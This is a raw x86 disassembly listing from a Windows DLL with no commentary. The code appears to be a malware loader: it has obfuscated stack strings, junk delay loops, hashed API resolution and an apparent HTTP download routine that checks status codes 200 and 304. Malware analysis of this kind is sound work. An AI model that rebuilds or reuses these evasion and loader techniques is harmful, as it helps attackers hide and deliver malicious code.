mov dword [ebp - 0x18], eax
cmp eax, 0x5307
jl 0x10021b68
mov byte [ebp - 4], 0x23
cmp dword [ebp - 0x20], 0x32bb
mov dword [ebp - 0x110], 0x1197e0f
mov word [ebp - 0x10c], 0x40a
mov byte [ebp - 0x10a], bl
mov dword [ebp - 0x109], 0x143e234f
mov dword [ebp - 0x105], 0x217a047c
mov dword [ebp - 0x101], 0x1f1b1375
mov dword [ebp - 0xfd], 0x50e221a
mov dword [ebp - 0xf9], 0x31c0e08
mov dword [ebp - 0xf5], 0x180b0b15
mov dword [ebp - 0xf1], 0x5ad8021e
mov dword [ebp - 0xed], 0x780d6c16
mov dword [ebp - 0xe9], 0x15090124
mov dword [ebp - 0xe5], 0x45251507
mov dword [ebp - 0xe1], 0x74084d1a
mov byte [ebp - 0xdd], 2
mov byte [ebp - 0xdc], bl
mov dword [ebp - 0xdb], 0x1110101
mov dword [ebp - 0xd7], 0x515701d
mov dword [ebp - 0xd3], 0x721e050c
mov dword [ebp - 0xcf], 0x110761c
mov dword [ebp - 0xcb], 0x4170106
mov dword [ebp - 0xc7], 0xb200612
mov word [ebp - 0xc3], 0x7a1b
jge 0x10021cb7
mov edx, str.jwvr_oahhyah_iybrnui_bjjn_ghxrjrmqc_qcig_mbwillg_vnul_lrzpl_tfbou_zagperun_wor_wqaycmu_wbeqj
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x10021cb7
push 0x31
pop eax
mov dword [ebp - 4], 0x10
mov ecx, ebx
push 2
mov word [ebp - 0x572], ax
pop esi
mov dword [ebp - 0x178], ecx
mov dword [ebp - 0x24], esi
cmp esi, 0x4f
jae 0x10021ddf
movzx eax, byte [ebp - 0x110]
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x10021d0a
movzx eax, byte [ebp + esi - 0x110]
dec esi
add esi, eax
lea ecx, [eax + 1]
mov dword [ebp - 0x178], ecx
jmp 0x10021dd7
movzx edx, byte [ebp + esi - 0x10f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x112]
movzx eax, word [ebp + eax*2 - 0x590]
mov ecx, eax
and eax, edx
or ecx, edx
mov edx, 0x427d
sub ecx, eax
movzx eax, byte [ebp + esi - 0x110]
mov word [ebp + eax*2 - 0x590], cx
lea eax, [ebp - 0x178]
push eax
push 0x14dc
push ebx
push 1
xor cl, cl
call fcn.1002053b
mov dword [ebp - 0x20], 0x4f07
add esp, 0x10
cmp dword [ebp - 0x20], 0x50ee
jle 0x10021db6
mov esi, ebx
mov edi, ebx
mov eax, edi
lea ecx, [ebp - 0x4a0]
and eax, esi
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10021d8c
mov eax, dword [eax]
push eax
call fcn.10048643
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4a0]
call fcn.1000f099
inc edi
cmp edi, 0x6dca
jl 0x10021d70
inc esi
cmp esi, 0x203c
jl 0x10021d6e
mov esi, dword [ebp - 0x24]
cmp dword [ebp - 0x20], 0x4d7a
jge 0x10021dca
push str.vprd_vju_okqxql_fxfojb_awlc
call fcn.10048643
pop ecx
mov dword [ebp - 4], 0x10
mov ecx, dword [ebp - 0x178]
add esi, 2
jmp 0x10021cd3
xor eax, eax
mov word [ebp - 0x544], ax
mov dword [ebp - 0x20], 0x2a1c
cmp dword [ebp - 0x20], 0x2dd1
jle 0x10021e41
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x530]
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10021e1a
mov eax, dword [eax]
push eax
call fcn.10048643
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x530]
call fcn.1000f099
inc esi
cmp esi, 0x6238
jl 0x10021dfc
inc edi
cmp edi, 0x13bc
jl 0x10021dfa
cmp dword [ebp - 0x20], 0x2939
jge 0x10021e55
push str.bbmb_jmdzpiv_slj_hxm_idmhrolg_yymcnpcb_gzvv_wpajfulig_yelo
call fcn.10048643
pop ecx
push 2
lea ecx, [ebp - 0x214]
mov dword [ebp - 4], 0x10
call fcn.1000e8c0
mov byte [ebp - 4], 0x29
lea eax, [ebp - 0x3a4]
push dword [ebp - 0x1e4]
movdqa xmm0, xmmword [0x10071b00]
lea ecx, [ebp - 0x270]
push eax
lea eax, [ebp - 0x3b4]
mov dword [ebp - 0x18], 0x506d4441
push eax
mov dword [ebp - 0x24], 0x47706695
push ebx
movdqu xmmword [ebp - 0x3b4], xmm0
mov dword [ebp - 0x270], ebx
mov dword [ebp - 0x26c], ebx
mov dword [ebp - 0x268], ebx
call fcn.10011dd5
mov byte [ebp - 4], 0x2a
mov dword [ebp - 0x1c], ebx
jmp 0x10021ed9
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x214]
mov dword [eax + ecx*4], 0x57fd5464
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10021ec6
xor ecx, ecx
inc ecx
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], ebx
jl 0x10022076
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x24c], 0xf95e19f8
mov dword [ebp - 0x14], ebx
jmp 0x10021f18
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x29c], 0x1dc6b79d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10021f07
mov dword [ebp - 0x14], ebx
jmp 0x10021f34
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x388], 0xfffffff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10021f23
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], ebx
jl 0x1002206d
mov dword [ebp - 0x14], 0x9cc25fa5
lea ecx, [ebp - 0x310]
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], ebx
push 4
call fcn.1000e8c0
push 0x47d3
push 0x45a9
push ebx
push 0x4617
push ebx
push 1
push 0x79f2
lea edx, [ebp - 0x310]
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x1a0]
call fcn.1001ffb6
xor edx, edx
add esp, 0x1c
inc edx
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], ebx
jl 0x10021fdb
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x214]
cmp dword [eax + ecx*4], ebx
jne 0x10021fdb
push 0x6d0
lea eax, [ebp - 0x49]
mov byte [ebp - 0x49], bl
push eax
push edx
push 0x91d
push edx
push edx
push 0x291a
mov edx, 0x4d37
mov ecx, 0x5cbc
call fcn.1001ffb6
add esp, 0x1c
dec dword [ebp - 0x14]
push 1
pop edx
jns 0x10021f9a
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
inc dword [ebp - 0x20]
jne 0x10021ff3
mov eax, dword [ebp - 0x214]
mov edi, ebx
cmp dword [eax + 4], ebx
je 0x10021ff5
mov edi, edx
mov eax, dword [ebp - 0x298]
xor edx, edx
imul ecx, eax, 0xfffb
mov dword [ebp - 0x298], eax
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24c]
cmp eax, ecx
mov eax, dword [ebp - 0x310]
setl dl
add edx, dword [eax + 0xc]
xor eax, eax
cmp edi, edx
setne al
xor ecx, ecx
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x7c], eax
setge cl
xor eax, eax
add ecx, dword [ebp - 0x34]
cmp ecx, 0x2d14
setne al
imul ecx, eax, 0xffff
mov eax, dword [ebp - 0x214]
mov byte [ebp - 4], 0x2a
mov dword [eax + esi*4], ecx
lea ecx, [ebp - 0x310]
call fcn.1000e943
dec dword [ebp - 0x1c]
jns 0x10021f45
xor ecx, ecx
inc ecx
dec dword [ebp - 0x18]
jns 0x10021eee
lea ecx, [ebp - 0x270]
call fcn.1000e943
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0x10
call fcn.1000e943
xor eax, eax
mov dword [ebp - 0x314], 7
mov word [ebp - 0x328], ax
lea ecx, [ebp - 0x328]
lea eax, [ebp - 0x590]
mov dword [ebp - 0x318], ebx
push eax
call fcn.10017b8d
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x2c
push eax
lea eax, [ebp - 0x48]
mov dword [ebp - 0x58], 0x3b26bdde
push eax
push ecx
mov dword [ebp - 0x48], 0xa8fe
mov cl, 1
mov dword [ebp - 0x20], 0xe5f0e77d
mov dword [ebp - 0x34], 9
push 0x34e0
call fcn.1002009f
add esp, 0x10
cmp dword [ebp - 0x58], ebx
jne 0x10022118
cmp dword [ebp - 0x48], ebx
jne 0x10022100
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x20], ebx
jne 0x10022118
mov ecx, ebx
jmp 0x1002211b
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x48]
lea edi, [ebp - 0x590]
add eax, 0x7606
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x48]
cmp ecx, eax
push 0x13
setl dl
xor eax, eax
pop ecx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x58], edx
mov dl, 1
push ecx
push 0x258b
stosw word es:[edi], ax
lea ecx, [ebp - 0x4b]
mov dword [ebp - 0x1c], 0xfffffffb
mov byte [ebp - 0x4b], bl
call fcn.1002016b
pop ecx
pop ecx
mov dword [ebp - 0x1c], 2
cmp dword [ebp - 0x1c], 0xfffffffa
je 0x1002221b
mov dword [ebp - 0x20], 0x71af
cmp dword [ebp - 0x20], 0x73c4
jle 0x100221c5
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x488]
or eax, edi
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002219e
mov eax, dword [eax]
push eax
call fcn.10048643
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x488]
call fcn.1000f099
inc esi
cmp esi, 0x66ed
jl 0x10022182
inc edi
cmp edi, 0x55b6
jl 0x10022180
mov dword [ebp - 0x18], 0x65683c8f
cmp dword [ebp - 0x20], 0x6ec2
jge 0x100221e0
push str.vskltzs_bgwfbaz_hnh_jieq_hctgol
call fcn.10048643
pop ecx
mov dword [ebp - 4], 0x2c
mov dword [ebp - 0x18], ebx
jmp 0x1002220d
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1002220a
push 0x29f6
push 1
push ecx
mov edx, 0x6c83
call fcn.1001f7e3
add esp, 0xc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1b
jle 0x100221ec
dec dword [ebp - 0x1c]
jmp 0x10022164
push 0x5e8e
push 1
push 1
mov dword [ebp - 0x18], 3
mov dl, 1
push 0x73b
mov ecx, 0x20b9
call fcn.10020198
add esp, 0x10
mov dword [ebp - 0x18], 0xfffffff6
cmp dword [ebp - 0x18], 0xfffffff6
jg 0x1002239c
push 1
lea ecx, [ebp - 0x34c]
call fcn.1000e8c0
push 1
lea eax, [ebp - 0x5c]
mov byte [ebp - 4], 0x2f
push eax
push 1
lea eax, [ebp - 0x34c]
mov edx, 0x5959
push eax
push 1
mov ecx, 0x5893
call fcn.1002031e
add esp, 0x14
mov dword [ebp - 0x5c], ebx
jmp 0x1002229a
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x84], 8
inc dword [ebp - 0x5c]
cmp dword [ebp - 0x5c], 1
jl 0x10022289
mov dword [ebp - 0x84], ebx
cmp dword [ebp - 0x84], ebx
jg 0x10022385
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100222c4
push ecx
mov dl, 1
call fcn.10020515
pop ecx
mov dword [ebp - 0x20], 0x1dcc
cmp dword [ebp - 0x20], 0x2153
jle 0x1002231c
mov dword [ebp - 0x1c], ebx
mov esi, ebx
mov edi, ebx
mov ebx, dword [ebp - 0x1c]
mov eax, esi
mov ecx, 0x1007fdb8
cdq
idiv edi
lea eax, [ebx + edx]
cdq
push edx
push eax
call fcn.1000e5de
inc edi
cmp edi, 0x280d
jl 0x100222de
inc esi
push 0
pop ebx
cmp esi, 0x3574
jl 0x100222d9
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x15b
jl 0x100222d7
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0xdd5
push 0x369e
push 1
push 1
mov edx, 0x3432
xor cl, cl
call fcn.1002053b
add esp, 0x10
mov byte [ebp - 4], 0x30
cmp dword [ebp - 0x20], 0x1d9d
jge 0x10022373
mov edx, str.ixoze_ceh_qargfj_cfgavpal_tcgdg
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x10022373
mov dword [ebp - 4], 0x2f
inc dword [ebp - 0x84]
jmp 0x100222a6
lea ecx, [ebp - 0x34c]
mov byte [ebp - 4], 0x2c
call fcn.1000e943
inc dword [ebp - 0x18]
jmp 0x10022246
mov dword [ebp - 0x168], 0x7d202611
mov dword [ebp - 0x164], 0x140a1409
mov byte [ebp - 0x160], 0x1f
mov byte [ebp - 0x15f], bl
mov dword [ebp - 0x15e], 0x75127f06
mov dword [ebp - 0x15a], 0x741e0116
mov word [ebp - 0x156], 0x761c
mov byte [ebp - 0x154], 5
mov byte [ebp - 0x153], bl
mov word [ebp - 0x152], 0x110
mov byte [ebp - 0x150], bl
mov dword [ebp - 0x14f], 0x739224a
mov dword [ebp - 0x14b], 0x13731473
mov dword [ebp - 0x147], 0x41b026f
mov dword [ebp - 0x143], 0x110c7b2d
mov dword [ebp - 0x13f], 0x70d021d
mov dword [ebp - 0x13b], 0x7403031a
mov dword [ebp - 0x137], 0x72240201
mov dword [ebp - 0x133], 0x720f770b
mov dword [ebp - 0x12f], 0x7237417
mov dword [ebp - 0x12b], 0x108750c
mov dword [ebp - 0x127], 0x6e0e751b
mov byte [ebp - 0x123], 0x18
mov byte [ebp - 0x122], bl
mov word [ebp - 0x121], 0x1d21
mov byte [ebp - 0x11f], 0x19
mov byte [ebp - 0x11e], bl
mov dword [ebp - 0x11d], 0xa150904
mov word [ebp - 0x119], 0x4e25
mov dword [ebp - 0x20], 0x59a2
cmp dword [ebp - 0x20], 0x5bf9
jle 0x100224f4
mov edi, ebx
mov esi, ebx
mov eax, edi
lea ecx, [ebp - 0x518]
cdq
idiv esi
mov eax, edx
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100224cd
mov eax, dword [eax]
push eax
call fcn.10048643
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x518]
call fcn.1000f099
inc esi
cmp esi, 0x74c
jl 0x100224ae
inc edi
cmp edi, 0x6e27
jl 0x100224ac
cmp dword [ebp - 0x20], 0x55fa
push 0x44
pop eax
mov word [ebp - 0x5be], ax
jge 0x10022512
push str.fwsnxwsfz_jjnwh_xkpuq_hsxxwxxm_yuajmoguj_tkevhnu_bopulh
call fcn.10048643
pop ecx
push 2
mov dword [ebp - 4], 0x2c
pop esi
mov dword [ebp - 0x17c], ebx
mov dword [ebp - 0x18], esi
cmp esi, 0x51
jae 0x10022642
movzx eax, byte [ebp - 0x168]
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x10022559
movzx ecx, byte [ebp + esi - 0x168]
dec esi
add esi, ecx
lea eax, [ecx + 1]
mov dword [ebp - 0x17c], eax
jmp 0x1002263a
mov dword [ebp - 0x20], 0x7c12
cmp dword [ebp - 0x20], 0x7e35
jle 0x1002259e
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
mov ecx, 0x1007fdb8
cdq
push edx
push eax
call fcn.1000e5de
inc esi
cmp esi, 0x1bb6
jl 0x1002256d
inc edi
cmp edi, 0x433d
jl 0x1002256b
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov esi, dword [ebp - 0x18]
movzx edx, byte [ebp + esi - 0x167]
mov eax, esi
sub eax, dword [ebp - 0x17c]
movzx eax, byte [ebp + eax - 0x16a]
movzx ecx, word [ebp + eax*2 - 0x5e0]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x168]
add ecx, edx
mov byte [ebp - 4], 0x34
cmp dword [ebp - 0x20], 0x7854
mov word [ebp + eax*2 - 0x5e0], cx
jge 0x10022615
mov edx, str.wpcgr_hcspxisno_pnofa_wkiowiau_spfyn_lzob_jgoxhgzsw
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x10022615
push 0x2902
push 0x802
push 1
push 1
lea edx, [ebp - 0x17c]
mov dword [ebp - 4], 0x2c
mov cl, 1
call fcn.1002053b
add esp, 0x10
add esi, 2
jmp 0x10022522
xor eax, eax
mov dword [ebp - 0x2f0], 7
mov word [ebp - 0x594], ax
lea ecx, [ebp - 0x304]
mov word [ebp - 0x304], ax
lea eax, [ebp - 0x5e0]
push eax
mov dword [ebp - 0x2f4], ebx
call fcn.10017b8d
push 0x13
pop ecx
xor eax, eax
mov byte [ebp - 4], 0x36
cmp dword [ebp - 0x314], 8
lea edi, [ebp - 0x5e0]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x3e4]
mov esi, 0x9c13
push ecx
stosw word es:[edi], ax
lea eax, [ebp - 0x328]
cmovae eax, dword [ebp - 0x328]
push eax
push 0xc139
push esi
call fcn.10035d0f
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10022f6e
cmp dword [ebp - 0x2f0], 8
lea ecx, [ebp - 0x408]
push ecx
lea eax, [ebp - 0x304]
cmovae eax, dword [ebp - 0x304]
push eax
push 0xc139
push esi
call fcn.10035d0f
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10022f6e
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x3e4]
push eax
push 3
push ebx
lea eax, [ebp - 0x408]
push eax
push 0xc139
push 0x6f7f
call fcn.10035d0f
pop ecx
pop ecx
call eax
test eax, eax
js 0x10022f6e
cmp dword [ebp - 0x3c], 0
je 0x10022f6e
push 0x32f7
push ecx
lea eax, [ebp - 0x3c8]
mov ecx, 0x4880
push eax
push 0x5fab
push 0x6dde
push 1
push 0x4559
push 0x7ab0
call fcn.10020758
add esp, 0x20
mov dword [ebp - 0x6f], 0x1df0199
xor eax, eax
mov word [ebp - 0x6b], 0x222
mov word [ebp - 0x3c0], ax
mov dl, bl
mov ecx, ebx
mov byte [ebp - 0x70], dl
push 0x47
pop eax
push 2
mov byte [ebp - 0x69], 0x11
mov word [ebp - 0x190], ax
pop esi
mov dword [ebp - 0x188], ecx
mov dword [ebp - 0x14], esi
cmp esi, 8
jae 0x100228d9
movzx eax, dl
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x100227c0
movzx eax, byte [ebp + esi - 0x70]
dec esi
add esi, eax
lea ecx, [eax + 1]
mov dword [ebp - 0x188], ecx
jmp 0x100228d1
movzx edx, byte [ebp + esi - 0x6f]
mov eax, esi
sub eax, ecx
push 1
push 0x9ce
movzx eax, byte [ebp + eax - 0x72]
movzx ecx, word [ebp + eax*2 - 0x190]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x70]
add ecx, edx
push ecx
mov word [ebp + eax*2 - 0x190], cx
lea eax, [ebp - 0x188]
push eax
call fcn.10020886
mov dword [ebp - 0x1c], 0x393d
add esp, 0x10
cmp dword [ebp - 0x1c], 0x3cc2
jle 0x100228ad
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov edx, edi
mov dword [ebp - 0x34], ebx
and edx, eax
mov edi, ebx
mov dword [ebp - 0x20], edx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x4b8]
xor eax, edx
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10022850
mov eax, dword [eax]
push eax
call fcn.10048643
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4b8]
call fcn.1000f099
mov edx, dword [ebp - 0x20]
inc esi
cmp esi, 0x6ce5
jl 0x10022830
inc edi
cmp edi, 0x6e8d
jl 0x1002282e
mov edi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
inc edi
mov dword [ebp - 0x24], edi
cmp edi, 0x4f92
jl 0x10022822
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x4068
jl 0x1002281d
push 0x2e1
push 0x174c
push 5
push ebx
call dword [sym.imp.USER32.dll_GetMessageA]
mov esi, dword [ebp - 0x14]
cmp dword [ebp - 0x1c], 0x3928
jge 0x100228c1
push str.ctpzz_bbonmrl_lyi_gpzhuknim_yurjlejn_izwm_komucrzoq_hppwrgcdg_dtfhivu_zzhy_ltcj_baqekrfjy_sjmary
call fcn.10048643
pop ecx
mov dword [ebp - 4], 0x36
mov dl, byte [ebp - 0x70]
mov ecx, dword [ebp - 0x188]
add esi, 2
jmp 0x10022790
xor eax, eax
mov dword [ebp - 0x1c0], 7
mov word [ebp - 0x18a], ax
lea ecx, [ebp - 0x1d4]
mov word [ebp - 0x1d4], ax
lea eax, [ebp - 0x190]
push eax
mov dword [ebp - 0x1c4], ebx
call fcn.10017b8d
mov byte [ebp - 4], 0x39
mov dword [ebp - 0x190], ebx
mov dword [ebp - 0x18c], ebx
mov dword [ebp - 0x24], 0x6932
cmp dword [ebp - 0x24], 0x6a6a
jle 0x10022979
mov esi, ebx
mov dword [ebp - 0x20], ebx
mov edi, esi
mov esi, 0x2dd1
mov eax, edi
lea ecx, [ebp - 0x458]
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10022951
mov eax, dword [eax]
push eax
call fcn.10048643
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x458]
call fcn.1000f099
dec edi
dec esi
jne 0x10022937
mov esi, dword [ebp - 0x20]
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x42e5
jl 0x10022930
cmp dword [ebp - 0x1c0], 8
lea ecx, [ebp - 0x1d4]
mov eax, dword [ebp - 0x1c4]
cmovae ecx, dword [ebp - 0x1d4]
push dword [ebp - 0x1a0]
mov dword [ebp - 0x224], ebx
mov dword [ebp - 0x220], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x21c], ebx
lea ecx, [ebp - 0x1d4]
cmovae ecx, dword [ebp - 0x1d4]
push eax
push ecx
lea ecx, [ebp - 0x224]
call fcn.1001f574
cmp dword [ebp - 0x24], 0x6703
jge 0x100229dc
push str.mehb_spbbsc_bans_yket_czep_hggoeclkc_hdql_fmdkwt_mecelt_wklamd_xtxdene_mlxpjc
call fcn.10048643
pop ecx
lea eax, [ebp - 0x19c]
mov dword [ebp - 4], 0x3a
push eax
lea ecx, [ebp - 0x224]
mov dword [ebp - 0x19c], ebx
call fcn.1001cf97
mov dword [ebp - 0x20], 0x581
cmp dword [ebp - 0x20], 0x58e
jle 0x10022a3d
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x1007fdb8
xor eax, esi
cdq
push edx
push eax
call fcn.1000e5de
inc edi
cmp edi, 0x5c28
jl 0x10022a0f
inc esi
cmp esi, 0x5ab6
jl 0x10022a0d
push 0x773
call dword [sym.imp.USER32.dll_MessageBeep]
mov ecx, dword [ebp - 0x80]
mov esi, dword [ecx + 0x14]
cmp esi, 8
jb 0x10022a4c
mov edx, dword [ecx]
jmp 0x10022a4e
mov edx, ecx
mov eax, dword [ecx + 0x10]
lea eax, [edx + eax*2]
cmp esi, 8
jb 0x10022a5b
mov ecx, dword [ecx]
push dword [ebp - 0x1a0]
mov dword [ebp - 0x1e0], ebx
push eax
push ecx
lea ecx, [ebp - 0x1e0]
mov dword [ebp - 0x1dc], ebx
mov dword [ebp - 0x1d8], ebx
call fcn.1001f574
mov byte [ebp - 4], 0x3e
cmp dword [ebp - 0x20], 0x245
jge 0x10022aba
mov edx, str.nni_aeijrz_nas_muvnn_lovdf
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x10022aba
push 0x3d
pop esi
push 0x2438
push 0x5933
push ecx
lea eax, [ebp - 0x1e0]
mov dword [ebp - 4], esi
push eax
xor cl, cl
call fcn.1002009f
mov dword [ebp - 0x18], 0x487a
add esp, 0x10
cmp dword [ebp - 0x18], 0x4a02
jle 0x10022b5f
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov dword [ebp - 0x20], ebx
mov ecx, edi
mov dword [ebp - 0x34], esi
mov edi, esi
mov dword [ebp - 0x7c], ebx
shl edi, cl
mov esi, ebx
mov eax, edi
lea ecx, [ebp - 0x4e8]
or eax, esi
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10022b20
mov eax, dword [eax]
push eax
call fcn.10048643
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4e8]
call fcn.1000f099
inc esi
cmp esi, 0x4c81
jl 0x10022b04
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp - 0x24]
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x3b7f
jl 0x10022af6
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x1d03
jl 0x10022af1
push 0x3d
pop esi
cmp dword [ebp - 0x18], 0x461d
jge 0x10022b73
push str.umhjnu_yxpsiiet_hxcty_rjcw_ufienom_rkuxhi_ujeiq_xgu_mowzoz_twobdb_athhq_pnh
call fcn.10048643
pop ecx
mov dword [ebp - 4], esi
lea edx, [ebp - 0x1d4]
cmp dword [ebp - 0x1c0], 8
lea esi, [ebp - 0x340]
mov eax, dword [ebp - 0x3c]
cmovae edx, dword [ebp - 0x1d4]
sub esp, 0x10
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x340]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x3c8]
push dword [ebp - 0x1e0]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x10022f33
mov esi, dword [ebp - 0x1b0]
mov cl, 1
mov dword [ebp - 0x180], ebx
cmp esi, dword [ebp - 0x1ac]
je 0x10022c2f
add esi, 0x18
test cl, cl
je 0x10022c17
cmp dword [esi + 0x14], 8
jb 0x10022bf6
mov edi, dword [esi]
jmp 0x10022bf8
mov edi, esi
cmp dword [esi - 4], 8
jb 0x10022c03
mov edx, dword [esi - 0x18]
jmp 0x10022c06
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x3c]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x10022c19
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x1ac]
jne 0x10022be8
test cl, cl
je 0x10022f33
mov eax, dword [ebp - 0x3c]
lea esi, [ebp - 0x340]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x10022f33
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0x180]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x10022f33
cmp dword [ebp - 0x180], 0x130
je 0x10022c83
cmp dword [ebp - 0x180], 0xc8
jne 0x10022f33
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0x3f8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x10022f33
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x184], ecx
test ecx, ecx
je 0x10022f33
mov eax, dword [ecx]
lea edx, [ebp - 0x628]
push 1
push edx
push ecx
call dword [eax + 0x30]
test eax, eax
js 0x10022f20
mov eax, dword [ebp - 0x620]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x61c]
mov dword [ebp - 0x18], 0xd65
cmp dword [ebp - 0x18], 0x1110
mov dword [ebp - 0x34], eax
jle 0x10022d53
push 0x1f10
push ebx
push ebx
push 0xf60
call dword [sym.imp.USER32.dll_MessageBoxW]
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x24], 0x1565
mov esi, dword [ebp - 0x40]
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x20], 0x2cb4
mov ecx, ebx
mov eax, esi
shl eax, cl
mov ecx, 0x1007fdb8
cdq
push edx
push eax
call fcn.1000e5de
add ebx, edi
dec dword [ebp - 0x20]
jne 0x10022d16
inc edi
push 0
pop ebx
cmp edi, 0x767c
jl 0x10022d0c
mov esi, dword [ebp - 0x60]
add dword [ebp - 0x40], esi
dec dword [ebp - 0x24]
jne 0x10022d07
inc esi
mov dword [ebp - 0x60], esi
cmp esi, 0xfa7
jl 0x10022cfd
mov eax, dword [ebp - 0x7c]
